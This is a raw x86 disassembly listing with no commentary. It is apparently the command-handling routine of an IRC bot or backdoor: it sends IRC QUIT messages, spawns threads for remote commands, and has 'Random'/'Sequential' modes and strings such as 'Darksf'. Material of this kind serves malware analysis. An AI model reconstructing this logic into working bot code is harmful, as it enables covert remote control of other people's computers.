lea eax, [ebp+var_30C]
push eax
mov [ebp+var_2D4], esi
push [ebp+arg_4]
call dword_4CB978
mov al, [ebp+var_8FF]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_308], eax
push [ebp+var_308]
call dword_4CBA60
push eax
lea eax, [ebp+var_860]
push eax
call sub_41BFD0
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov esi, eax
lea eax, [ebp+var_860]
push eax
call sub_41C820
add esp, 14h
cmp esi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40391D
loc_4038FB: ; CODE XREF: sub_401ACD+1E4Ej
cmp eax, ebx
jz short loc_40391D
mov byte ptr [eax], 78h
lea eax, [ebp+var_860]
push 30h
push eax
call sub_41C820
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, esi
jl short loc_4038FB
loc_40391D: ; CODE XREF: sub_401ACD+1E2Cj
; sub_401ACD+1E30j
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov esi, [ebp+var_4]
mov edi, [ebp+var_8]
mov [ebp+var_750], eax
lea eax, [ebp+var_850]
push 80h
push eax
mov [ebp+var_720], 1
mov [ebp+var_728], esi
mov [ebp+var_724], edi
call sub_41C360
push offset byte_43DB88
push offset aF ; "#f"
call sub_41CA50
add esp, 14h
test eax, eax
jz short loc_40398A
push offset aF ; "#f"
lea eax, [ebp+var_7D0]
push 80h
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_403990
; ---------------------------------------------------------------------------
loc_40398A: ; CODE XREF: sub_401ACD+1EA0j
mov [ebp+var_7D0], bl
loc_403990: ; CODE XREF: sub_401ACD+1EBBj
cmp [ebp+var_720], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4039A2
mov eax, offset aSequential ; "Sequential"
loc_4039A2: ; CODE XREF: sub_401ACD+1ECEj
push [ebp+var_734]
lea ecx, [ebp+var_860]
push [ebp+var_744]
push [ebp+var_748]
push [ebp+var_74C]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C2CC
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_740], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset loc_40C600
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_740]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403A2C
loc_403A1A: ; CODE XREF: sub_401ACD+1F5Dj
cmp [ebp+var_71C], ebx
jnz short loc_403A47
push 32h
nop
call near ptr 26C04BFh
jmp short loc_403A1A
; ---------------------------------------------------------------------------
loc_403A2C: ; CODE XREF: sub_401ACD+1F4Bj
call near ptr 26C0CC8h
nop
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C290
push eax
call sub_41C266
add esp, 0Ch
loc_403A47: ; CODE XREF: sub_401ACD+1F53j
cmp edi, ebx
jnz short loc_403A65
push ebx
lea eax, [ebp+var_2C4]
push esi
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_403A65: ; CODE XREF: sub_401ACD+1F7Cj
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
pop ecx
loc_403A72: ; CODE XREF: sub_401ACD+1D36j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_4037B5
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_403A86: ; CODE XREF: sub_401ACD+1DAEj
push offset unk_42C258
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_403A90: ; CODE XREF: sub_401ACD+1B05j
; sub_401ACD+1B1Aj
push 5
call sub_40B602
test eax, eax
pop ecx
jle short loc_403AA6
push offset unk_42C238
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_403AA6: ; CODE XREF: sub_401ACD+1FCDj
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jz short loc_403AC9
push eax
mov edi, 104h
lea eax, [ebp+var_2D54]
push edi
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_403ADD
; ---------------------------------------------------------------------------
loc_403AC9: ; CODE XREF: sub_401ACD+1FE2j
mov edi, 104h
lea eax, [ebp+var_2D54]
push edi
push eax
push ebx
nop
call near ptr 26B0000h
loc_403ADD: ; CODE XREF: sub_401ACD+1FFAj
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_403AED
mov esi, offset byte_429108
loc_403AED: ; CODE XREF: sub_401ACD+2019j
push esi
lea eax, [ebp+var_2C50]
push edi
push eax
call sub_41C360
mov eax, dword_429078
push 7Fh
push [ebp+var_88]
mov [ebp+var_2B44], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2B48], ebx
mov [ebp+var_2D58], eax
lea eax, [ebp+var_2B40]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_2AC0], eax
mov eax, [ebp+var_8]
mov [ebp+var_2ABC], eax
lea eax, [ebp+var_2D54]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_2B44]
push offset unk_42C204
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 5
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_2B4C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2D58]
push ebx
push eax
push offset byte_412197
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_2B4C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403BB9
loc_403BA3: ; CODE XREF: sub_401ACD+20EAj
cmp [ebp+var_2AB8], ebx
jnz loc_4081AD
push 32h
call near ptr 26C04BFh
nop
jmp short loc_403BA3
; ---------------------------------------------------------------------------
loc_403BB9: ; CODE XREF: sub_401ACD+20D4j
call near ptr 26C0CC8h
nop
push eax
push offset unk_42C1C8
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_403BCA: ; CODE XREF: sub_401ACD+1ADBj
; sub_401ACD+1AF0j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403BE9
push edi
call sub_41C159
test eax, eax
pop ecx
jz short loc_403BE9
push edi
call sub_41C159
pop ecx
jmp short loc_403BEE
; ---------------------------------------------------------------------------
loc_403BE9: ; CODE XREF: sub_401ACD+2106j
; sub_401ACD+2111j
mov eax, dword_42907C
loc_403BEE: ; CODE XREF: sub_401ACD+211Aj
mov esi, [ebp+esi+var_88]
mov [ebp+var_36CC], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_36B8], eax
jz short loc_403C21
lea eax, [ebp+var_37D0]
push esi
push eax
call sub_41C266
pop ecx
pop ecx
jmp short loc_403C4C
; ---------------------------------------------------------------------------
loc_403C21: ; CODE XREF: sub_401ACD+2141j
lea eax, [ebp+var_49F4]
push 104h
push eax
nop
call near ptr 26C0000h
push ebx
push ebx
lea eax, [ebp+var_4C8]
push ebx
push eax
lea eax, [ebp+var_49F4]
push eax
call sub_41C3B1
add esp, 14h
loc_403C4C: ; CODE XREF: sub_401ACD+2152j
lea eax, [ebp+var_37D0]
push eax
call sub_41B9C0
cmp [ebp+eax+var_37D1], 5Ch
pop ecx
jnz short loc_403C77
lea eax, [ebp+var_37D0]
push eax
call sub_41B9C0
pop ecx
mov [ebp+eax+var_37D1], bl
loc_403C77: ; CODE XREF: sub_401ACD+2194j
push [ebp+var_88]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3A58]
mov [ebp+var_3A5C], esi
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_36BC], eax
lea eax, [ebp+var_37D0]
mov [ebp+var_36C0], edi
push eax
push [ebp+var_36CC]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C18C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 3
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_36C4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3A5C]
push ebx
push eax
push offset sub_40FAD6
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_36C4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403D2B
loc_403D19: ; CODE XREF: sub_401ACD+225Cj
cmp [ebp+var_36B0], ebx
jnz short loc_403D46
push 32h
nop
call near ptr 26C04BFh
jmp short loc_403D19
; ---------------------------------------------------------------------------
loc_403D2B: ; CODE XREF: sub_401ACD+224Aj
call near ptr 26C0CC8h
nop
push eax
push offset unk_42C150
loc_403D37: ; CODE XREF: sub_401ACD+23BFj
; sub_401ACD+4BDCj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_403D46: ; CODE XREF: sub_401ACD+2252j
; sub_401ACD+23A3j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
push edi
jmp loc_4071A3
; ---------------------------------------------------------------------------
loc_403D56: ; CODE XREF: sub_401ACD+1AB1j
; sub_401ACD+1AC6j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403D75
push edi
call sub_41C159
test eax, eax
pop ecx
jz short loc_403D75
push edi
call sub_41C159
pop ecx
jmp short loc_403D7A
; ---------------------------------------------------------------------------
loc_403D75: ; CODE XREF: sub_401ACD+2292j
; sub_401ACD+229Dj
mov eax, dword_429080
loc_403D7A: ; CODE XREF: sub_401ACD+22A6j
mov [ebp+var_1828], eax
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jnz short loc_403D91
lea eax, [ebp+var_C4]
loc_403D91: ; CODE XREF: sub_401ACD+22BCj
push eax
lea eax, [ebp+var_1968]
push 40h
push eax
call sub_41C360
mov esi, [ebp+esi+var_84]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403DB3
mov esi, offset byte_43DB88
loc_403DB3: ; CODE XREF: sub_401ACD+22DFj
push esi
lea eax, [ebp+var_1928]
push 100h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_19E8]
push [ebp+var_88]
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1814], eax
lea eax, [ebp+var_1968]
push eax
mov [ebp+var_19EC], esi
push [ebp+var_1828]
mov [ebp+var_1818], edi
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C114
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 9
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_1824], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_19EC]
push ebx
push eax
push offset word_41144E
push ebx
push ebx
call near ptr 26C051Eh
nop
mov ecx, [ebp+var_1824]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403E80
loc_403E6A: ; CODE XREF: sub_401ACD+23B1j
cmp [ebp+var_1810], ebx
jnz loc_403D46
push 32h
call near ptr 26C04BFh
nop
jmp short loc_403E6A
; ---------------------------------------------------------------------------
loc_403E80: ; CODE XREF: sub_401ACD+239Bj
nop
call near ptr 26C0CC8h
push eax
push offset unk_42C0D8
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_403E91: ; CODE XREF: sub_401ACD+1A87j
; sub_401ACD+1A9Cj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_403EA4
push esi
call sub_41C159
jmp short loc_403EAB
; ---------------------------------------------------------------------------
loc_403EA4: ; CODE XREF: sub_401ACD+23CDj
push 0Bh
call sub_40B621
loc_403EAB: ; CODE XREF: sub_401ACD+23D5j
cmp eax, ebx
pop ecx
jz loc_409644
push eax
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BD1A
jmp loc_404376
; ---------------------------------------------------------------------------
loc_403ECB: ; CODE XREF: sub_401ACD+1A5Dj
; sub_401ACD+1A72j
mov eax, dword_4CB8F0
cmp eax, ebx
jz short loc_403EE8
call eax
test eax, eax
jz short loc_403EE1
push offset unk_42C0B4
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403EE1: ; CODE XREF: sub_401ACD+240Bj
push offset unk_42C088
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403EE8: ; CODE XREF: sub_401ACD+2405j
push offset unk_42C05C
loc_403EED: ; CODE XREF: sub_401ACD+2412j
; sub_401ACD+2419j ...
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
jmp loc_406BFB
; ---------------------------------------------------------------------------
loc_403F03: ; CODE XREF: sub_401ACD+1A33j
; sub_401ACD+1A48j
call sub_40A928
test eax, eax
jz short loc_403F13
push offset unk_42C038
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403F13: ; CODE XREF: sub_401ACD+243Dj
push offset unk_42C00C
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403F1A: ; CODE XREF: sub_401ACD+1A09j
; sub_401ACD+1A1Ej
cmp [ebp+var_8], ebx
jnz short loc_403F39
push ebx
push [ebp+var_4]
push offset dword_42BFF4
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_403F39: ; CODE XREF: sub_401ACD+2450j
push ebx
push [ebp+var_4]
call sub_418723
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push offset unk_42BFD8
jmp loc_40423F
; ---------------------------------------------------------------------------
loc_403F5B: ; CODE XREF: sub_401ACD+18A0j
; sub_401ACD+18B5j
push 0Ah
call sub_40B602
test eax, eax
pop ecx
jle short loc_403F6E
push offset unk_42BFAC
jmp short loc_403F8F
; ---------------------------------------------------------------------------
loc_403F6E: ; CODE XREF: sub_401ACD+2498j
push [ebp+var_88]
push [ebp+arg_4]
call sub_41A1B1
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403F8A
push offset unk_42BF84
jmp short loc_403F8F
; ---------------------------------------------------------------------------
loc_403F8A: ; CODE XREF: sub_401ACD+24B4j
push offset unk_42BF64
loc_403F8F: ; CODE XREF: sub_401ACD+249Fj
; sub_401ACD+24BBj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
loc_403F9D: ; CODE XREF: sub_401ACD+5781j
cmp [ebp+var_8], ebx
jnz short loc_403FBE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_403FB6: ; CODE XREF: sub_401ACD+6DA8j
call sub_409869
add esp, 14h
loc_403FBE: ; CODE XREF: sub_401ACD+24D3j
; sub_401ACD+26B0j ...
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
jmp loc_4097D1
; ---------------------------------------------------------------------------
loc_403FCF: ; CODE XREF: sub_401ACD+1876j
; sub_401ACD+188Bj
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40A5C5
jmp loc_404260
; ---------------------------------------------------------------------------
loc_403FE8: ; CODE XREF: sub_401ACD+184Cj
; sub_401ACD+1861j
push [ebp+esi+var_8C]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_416FCF
jmp loc_404260
; ---------------------------------------------------------------------------
loc_404005: ; CODE XREF: sub_401ACD+1822j
; sub_401ACD+1837j
or edi, 0FFFFFFFFh
call near ptr 26D0CBDh
nop
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_40402E
push esi
call sub_41C159
pop ecx
mov edi, eax
loc_40402E: ; CODE XREF: sub_401ACD+2556j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_404047
cmp edi, 0FFFFFFFFh
jnz loc_409644
loc_404047: ; CODE XREF: sub_401ACD+256Fj
push ebx
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BF4C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
loc_404085: ; CODE XREF: sub_401ACD+51BCj
add esp, 24h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40408D: ; CODE XREF: sub_401ACD+17F8j
; sub_401ACD+180Dj
push 27h
call sub_40B602
test eax, eax
pop ecx
jle short loc_4040BE
cmp [ebp+var_8], ebx
jnz loc_401F75
push ebx
push [ebp+var_4]
push offset unk_42BF2C
loc_4040AB: ; CODE XREF: sub_401ACD+4F88j
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
jmp loc_408C05
; ---------------------------------------------------------------------------
loc_4040BE: ; CODE XREF: sub_401ACD+25CAj
push [ebp+var_88]
lea eax, [ebp+var_BC4]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_BC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_B3C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_B38], eax
mov [ebp+var_B40], ebx
jz short loc_40411F
push esi
push offset aFull ; "full"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40411F
mov [ebp+var_B40], 1
loc_40411F: ; CODE XREF: sub_401ACD+2635j
; sub_401ACD+2646j
lea eax, [ebp+var_2C4]
push offset dword_42BF08
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 27h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_B44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_BC8]
push ebx
push eax
push offset sub_419E38
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_B44]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40418D
loc_404177: ; CODE XREF: sub_401ACD+26BEj
cmp [ebp+var_B34], ebx
jnz loc_403FBE
push 32h
nop
call near ptr 26C04BFh
jmp short loc_404177
; ---------------------------------------------------------------------------
loc_40418D: ; CODE XREF: sub_401ACD+26A8j
nop
call near ptr 26C0CC8h
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BECC
push eax
call sub_41C266
add esp, 0Ch
jmp loc_403FBE
; ---------------------------------------------------------------------------
loc_4041AD: ; CODE XREF: sub_401ACD+17CEj
; sub_401ACD+17E3j
cmp [ebp+var_8], ebx
jnz short loc_4041CC
push ebx
push [ebp+var_4]
push offset unk_42BEB4
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4041CC: ; CODE XREF: sub_401ACD+26E3j
push [ebp+arg_4]
call dword_4CBA6C
call dword_4CB92C
call sub_4188A6
push ebx
call near ptr 77E75CB5h
nop
loc_4041E7: ; CODE XREF: sub_401ACD+17A4j
; sub_401ACD+17B9j
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_41AF8F
pop ecx
pop ecx
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push offset unk_42BE9C
jmp short loc_40423F
; ---------------------------------------------------------------------------
loc_404212: ; CODE XREF: sub_401ACD+177Aj
; sub_401ACD+178Fj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B243
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push offset unk_42BE84
loc_40423F: ; CODE XREF: sub_401ACD+2489j
; sub_401ACD+2743j
call sub_415D38
add esp, 18h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40424C: ; CODE XREF: sub_401ACD+1750j
; sub_401ACD+1765j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415DD8
loc_404260: ; CODE XREF: sub_401ACD+3C8j
; sub_401ACD+2516j ...
add esp, 10h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_404268: ; CODE XREF: sub_401ACD+1726j
; sub_401ACD+173Bj
cmp [ebp+var_C], ebx
mov [ebp+var_1598], bl
jz short loc_4042A7
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4042A7
push esi
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4042A7
push eax
push offset aS_1 ; "%s"
lea eax, [ebp+var_1598]
push 80h
push eax
call sub_41C360
add esp, 10h
loc_4042A7: ; CODE XREF: sub_401ACD+27A4j
; sub_401ACD+27AFj ...
push [ebp+var_88]
lea eax, [ebp+var_1618]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_161C], eax
mov eax, [ebp+var_4]
mov [ebp+var_1514], eax
mov eax, [ebp+var_8]
mov [ebp+var_1510], eax
lea eax, [ebp+var_2C4]
push offset dword_42BE6C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 25h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_1518], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_161C]
push ebx
push eax
push offset byte_415E4B
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_1518]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40434A
loc_404334: ; CODE XREF: sub_401ACD+287Bj
cmp [ebp+var_150C], ebx
jnz loc_401F75
push 32h
nop
call near ptr 26C04BFh
jmp short loc_404334
; ---------------------------------------------------------------------------
loc_40434A: ; CODE XREF: sub_401ACD+2865j
nop
call near ptr 26C0CC8h
push eax
push offset unk_42BE34
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_40435B: ; CODE XREF: sub_401ACD+16FCj
; sub_401ACD+1711j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415CC0
push offset unk_42BE1C
call sub_415D38
loc_404376: ; CODE XREF: sub_401ACD+23F9j
add esp, 10h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40437E: ; CODE XREF: sub_401ACD+16D2j
; sub_401ACD+16E7j
push [ebp+var_88]
lea eax, [ebp+var_C5C]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_C60], eax
mov eax, [ebp+var_4]
mov [ebp+var_BD4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_BD0], eax
jz short loc_4043D8
push offset dword_42BE18
push esi
call sub_41CA50
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_BD8], eax
jmp short loc_4043DE
; ---------------------------------------------------------------------------
loc_4043D8: ; CODE XREF: sub_401ACD+28EFj
mov [ebp+var_BD8], ebx
loc_4043DE: ; CODE XREF: sub_401ACD+2909j
lea eax, [ebp+var_2C4]
push offset dword_42BDF8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 28h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_BDC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C60]
push ebx
push eax
push offset byte_40B425
push ebx
push ebx
call near ptr 26C051Eh
nop
mov ecx, [ebp+var_BDC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40444C
loc_404436: ; CODE XREF: sub_401ACD+297Dj
cmp [ebp+var_BCC], ebx
jnz loc_406C1F
push 32h
nop
call near ptr 26C04BFh
jmp short loc_404436
; ---------------------------------------------------------------------------
loc_40444C: ; CODE XREF: sub_401ACD+2967j
nop
call near ptr 26C0CC8h
push eax
push offset unk_42BDBC
jmp loc_409091
; ---------------------------------------------------------------------------
loc_40445D: ; CODE XREF: sub_401ACD+1656j
; sub_401ACD+166Bj
push offset aDarksf ; "Darksf"
push offset unk_42BDA4
loc_404467: ; CODE XREF: sub_401ACD+29D9j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
jmp loc_406C1F
; ---------------------------------------------------------------------------
loc_404494: ; CODE XREF: sub_401ACD+162Cj
; sub_401ACD+1641j
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
push offset unk_42BD78
jmp short loc_404467
; ---------------------------------------------------------------------------
loc_4044A8: ; CODE XREF: sub_401ACD+1602j
; sub_401ACD+1617j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4044DA
cmp [ebp+var_C], ebx
jz short loc_4044E9
push esi
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4044E9
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
jmp short loc_4044E9
; ---------------------------------------------------------------------------
loc_4044DA: ; CODE XREF: sub_401ACD+29E4j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_409823
pop ecx
pop ecx
loc_4044E9: ; CODE XREF: sub_401ACD+29E9j
; sub_401ACD+29F8j ...
push 0FFFFFFFEh
jmp loc_401F77
; ---------------------------------------------------------------------------
loc_4044F0: ; CODE XREF: sub_401ACD+15D8j
; sub_401ACD+15EDj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_409823
push offset unk_42BD28
call sub_415D38
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_404512: ; CODE XREF: sub_401ACD+15AEj
; sub_401ACD+15C3j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409823
push offset unk_42BCF8
call sub_415D38
add esp, 0Ch
jmp loc_4095AD
; ---------------------------------------------------------------------------
loc_404531: ; CODE XREF: sub_401ACD+1584j
; sub_401ACD+1599j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BA9E
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404547: ; CODE XREF: sub_401ACD+155Aj
; sub_401ACD+156Fj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BA49
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_40455D: ; CODE XREF: sub_401ACD+1530j
; sub_401ACD+1545j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B9DD
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404573: ; CODE XREF: sub_401ACD+1506j
; sub_401ACD+151Bj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B90E
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404589: ; CODE XREF: sub_401ACD+1461j
; sub_401ACD+1476j
push [ebp+esi+var_8C]
push 27h
push offset dword_42BCE8
push offset dword_42BCD8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4045A1: ; CODE XREF: sub_401ACD+1437j
; sub_401ACD+144Cj
push [ebp+esi+var_8C]
push 24h
push offset dword_42BCCC
push offset dword_42BCBC
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4045B9: ; CODE XREF: sub_401ACD+1050j
; sub_401ACD+1065j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_4045D8
push edi
call sub_41C159
test eax, eax
pop ecx
jz short loc_4045D8
push edi
call sub_41C159
pop ecx
jmp short loc_4045DD
; ---------------------------------------------------------------------------
loc_4045D8: ; CODE XREF: sub_401ACD+2AF5j
; sub_401ACD+2B00j
mov eax, dword_429074
loc_4045DD: ; CODE XREF: sub_401ACD+2B09j
mov esi, [ebp+esi+var_88]
mov [ebp+var_590], eax
cmp esi, ebx
jz short loc_404602
push esi
loc_4045EF: ; CODE XREF: sub_401ACD+2B44j
lea eax, [ebp+var_5A0]
push 10h
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_404619
; ---------------------------------------------------------------------------
loc_404602: ; CODE XREF: sub_401ACD+2B1Fj
cmp [ebp+var_8FF], bl
jz short loc_404613
lea eax, [ebp+var_C4]
push eax
jmp short loc_4045EF
; ---------------------------------------------------------------------------
loc_404613: ; CODE XREF: sub_401ACD+2B3Bj
mov [ebp+var_5A0], bl
loc_404619: ; CODE XREF: sub_401ACD+2B33j
mov eax, [ebp+var_4]
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_584], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_580], eax
lea eax, [ebp+var_620]
push eax
mov [ebp+var_624], esi
call sub_41C360
add esp, 0Ch
push [ebp+var_590]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BC94
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 19h
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_58C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_624]
push ebx
push eax
push offset word_411BCE
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_58C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4046CA
loc_4046B4: ; CODE XREF: sub_401ACD+2BFBj
cmp [ebp+var_57C], ebx
jnz loc_401F75
push 32h
nop
call near ptr 26C04BFh
jmp short loc_4046B4
; ---------------------------------------------------------------------------
loc_4046CA: ; CODE XREF: sub_401ACD+2BE5j
nop
